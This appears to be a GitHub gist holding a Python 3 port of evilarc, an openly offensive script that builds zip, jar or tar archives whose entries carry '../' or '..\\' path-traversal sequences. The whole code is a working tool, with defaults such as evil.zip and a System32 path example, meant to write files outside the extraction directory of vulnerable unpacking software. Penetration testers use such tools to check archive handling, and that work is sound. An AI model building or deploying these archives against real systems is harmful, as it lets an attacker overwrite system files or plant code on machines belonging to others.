Created
August 17, 2023 14:48
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evilarc for python 3
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#!/usr/bin/env python3 | |
# | |
# Copyright (c) 2009, Neohapsis, Inc. | |
# All rights reserved. | |
# | |
# Implementation by Greg Ose and Patrick Toomey | |
# | |
# Redistribution and use in source and binary forms, with or without modification, | |
# are permitted provided that the following conditions are met: | |
# | |
# - Redistributions of source code must retain the above copyright notice, this list | |
# of conditions and the following disclaimer. | |
# - Redistributions in binary form must reproduce the above copyright notice, this | |
# list of conditions and the following disclaimer in the documentation and/or | |
# other materials provided with the distribution. | |
# - Neither the name of Neohapsis nor the names of its contributors may be used to | |
# endorse or promote products derived from this software without specific prior | |
# written permission. | |
# | |
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND | |
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED | |
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE | |
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR | |
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES | |
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; | |
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON | |
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT | |
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS | |
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
# Mofified for python3 usage by Arkaprabha Chakraborty on 17 Aug, 2023. | |
# All credits go to actual creators. I'm just a guy who shared a quick gist. | |
import sys | |
import zipfile | |
import tarfile | |
import os | |
import optparse | |
def main(argv=sys.argv): | |
p = optparse.OptionParser(description='Create archive containing a file with directory traversal', | |
prog='evilarc', | |
version='0.1', | |
usage='%prog <input file>') | |
p.add_option('--output-file', '-f', dest="out", help="File to output archive to. Archive type is based off of file extension. Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.") | |
p.set_default("out", "evil.zip") | |
p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.") | |
p.set_default("depth", 8) | |
p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.") | |
p.set_default("platform", "win") | |
p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\") | |
p.set_default("path", "") | |
options, arguments = p.parse_args() | |
if len(arguments) != 1: | |
p.error("Incorrect arguments") | |
fname = arguments[0] | |
if not os.path.exists(fname): | |
sys.exit("Invalid input file") | |
if options.platform == "win": | |
dir = "..\\" | |
if options.path and options.path[-1] != '\\': | |
options.path += '\\' | |
else: | |
dir = "../" | |
if options.path and options.path[-1] != '/': | |
options.path += '/' | |
zpath = dir * options.depth + options.path + os.path.basename(fname) | |
print("Creating " + options.out + " containing " + zpath) | |
ext = os.path.splitext(options.out)[1] | |
if os.path.exists(options.out): | |
wmode = 'a' | |
else: | |
wmode = 'w' | |
if ext == ".zip" or ext == ".jar": | |
with zipfile.ZipFile(options.out, wmode) as zf: | |
zf.write(fname, zpath) | |
return | |
elif ext == ".tar": | |
mode = wmode | |
elif ext == ".gz" or ext == ".tgz": | |
mode = "w:gz" | |
elif ext == ".bz2": | |
mode = "w:bz2" | |
else: | |
sys.exit("Could not identify output archive format for " + ext) | |
with tarfile.open(options.out, mode) as tf: | |
tf.add(fname, zpath) | |
if __name__ == '__main__': | |
main() |
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You can move it to
/usr/local/bin
for ease of use.